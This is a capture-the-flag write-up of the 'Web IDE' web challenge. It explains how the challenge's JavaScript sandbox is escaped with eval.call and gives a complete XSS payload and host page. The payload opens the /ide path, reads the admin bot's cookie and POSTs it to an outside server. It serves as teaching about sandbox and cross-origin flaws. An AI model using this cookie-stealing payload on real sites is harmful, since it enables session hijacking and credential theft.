Tags: csrf xss 

Rating:

# Web IDE
## Challenge
Work on JavaScript projects directly in your browser! Make something cool? Send it [here](https://us-east1-dicegang.cloudfunctions.net/ctf-2021-admin-bot?challenge=web-ide)

[web-ide.dicec.tf](https://web-ide.dicec.tf)

*Downloads*: `index.js`

## Solution
Inside `index.js` we can see where the flag is:
```js
case 'admin':
if (password === adminPassword)
return res.cookie('token', `dice{${process.env.FLAG}}`, {
path: '/ide',
sameSite: 'none',
secure: true
}).redirect('/ide/');
break;
```

Which means we have to get access to `/ide` path and execute XSS there.
We can't simply iframe `/ide` because of `X-Frame-Options: DENY` header, but we can also see this endpoint on the server:
```js
// sandbox the sandbox
app.use('/sandbox.html', (req, res, next) => {
res.setHeader('Content-Security-Policy', 'frame-src \'none\'');
// we have to allow this for obvious reasons
res.removeHeader('X-Frame-Options');
return next();
});
```
which is specifically designed to be iframe-d and execute arbitrary JavaScript.
The sandbox has a safety measure in place to not let us access the window object like this:
```js
const safeEval = (d) => (function (data) {
with (new Proxy(window, {
get: (t, p) => {
if (p === 'console') return { log };
if (p === 'eval') return window.eval;
return undefined;
}
})) {
eval(data);
}
}).call(Object.create(null), d);
```
but we can get around this simply by using `eval.call(this, "window")` as we have access to the original implementation.

Now it's just a matter of writing a payload for the iframe, embed it in a website and make the bot navigate to it.

The payload:
```js
const w = eval.call(this, "window");
let p = w.open('/ide');
await new w.Promise(r => w.setTimeout(r, 500));
const c = p.document.cookie;
w.fetch("ctf.rabulinski.com", { method: "POST", body: c });
```
Whole website:
```html
<body>
<iframe src="https://web-ide.dicec.tf/sandbox.html" sandbox="allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox"></iframe>
<script>
const frame = document.querySelector('iframe');
frame.onload = () => frame.contentWindow.postMessage(`(async () => {
const w = eval.call(this, "window");
let p = w.open('/ide');
await new w.Promise(r => w.setTimeout(r, 500));
const c = p.document.cookie;
w.fetch("ctf.rabulinski.com", { method: "POST", body: c });
})();`, '*');
</script>
</body>
```